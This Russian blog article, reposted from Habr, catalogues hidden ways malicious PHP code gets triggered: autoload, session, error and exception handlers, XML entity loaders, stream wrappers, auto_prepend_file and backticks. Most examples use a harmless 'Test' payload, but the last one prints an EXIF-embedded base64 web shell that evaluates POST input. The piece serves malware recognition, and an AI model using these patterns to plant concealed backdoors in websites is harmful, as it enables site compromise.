Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

от автора

Логичным продолжением заметки про неявные вызовы php кода во вредоносных скриптах будет ее вторая часть, в которой я рассмотрю более сложные и менее очевидные варианты использования различных обработчиков и загрузчиков php, а в конце статьи приведу несколько примеров, как еще хакеры неявно вызывают вредоносный код и php скрипты на сайте.

В качестве примера вредоносного кода снова будем использовать вызов

echo 'Test' 

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.

Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php function __autoload($classname) {   echo 'Test'; }  //... new myEvilClass(); 

Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php // php >= 5.3.0  class EvilClass {     static public function evil($name) {         echo 'Test';     } }  // ...  spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil');   // ...  new Malware;  

Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php function just_do_it() {   echo 'Test'; }  // ...  $f = function() {}; session_set_save_handler("just_do_it", $f, $f, $f, $f, $f); @session_start();  

Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php $f = create_function('', "echo 'Test';");  // ...  $it = new ArrayIterator(array('')); iterator_apply($it, $f, array($it)); 

Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php function exception_handler($e) {   preg_replace_callback('||', create_function('', $e->getMessage()), '');  }  // ...  set_exception_handler('exception_handler');  // ...  throw new Exception('echo "Test";'); 

Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php function error_handler($errno, $errstr, $errfile, $errline) {   array_map(create_function('', $errstr), array('')); }  // ...  set_error_handler('error_handler'); $badcode = 'echo "Test";';  trigger_error($badcode, E_USER_ERROR); // или user_error(); 

Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php // для php >= 5.4  $xml =<<<XML <!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/"> <zlodei>bar</zlodei> XML;  $dtd =<<<DTD <!ELEMENT zlodei (#PCDATA)> DTD;  libxml_set_external_entity_loader(     function ($public, $system, $context) use($dtd) {        array_reduce(array(''), create_function('', $public));      } );  // ...  $dd = new DOMDocument; $r  = $dd->loadXML($xml); @$dd->validate(); 

Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php class MalwareStream {     function stream_open($path, $mode, $options, &$opened_path)     {         $url = parse_url($path);         $f = create_function('', $url["host"]);         $f();          return true;     } }  // ...  stream_wrapper_register("malw", "MalwareStream");  // ...  $fp = fopen('malw://echo "Test";', ''); 

В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.

Бонус трек

Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg 

будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php $a = `ls -la`;  echo $a; 

Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php $exif = exif_read_data('/home/website/images/stories/food/evil.jpg'); preg_replace($exif['Make'],$exif['Model'],''); 

А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@ ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^ @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...

Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(…)) и выполняется через preg_replace() из-за модификатора «e».

Благодарю за внимание.

ссылка на оригинал статьи http://habrahabr.ru/post/215817/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *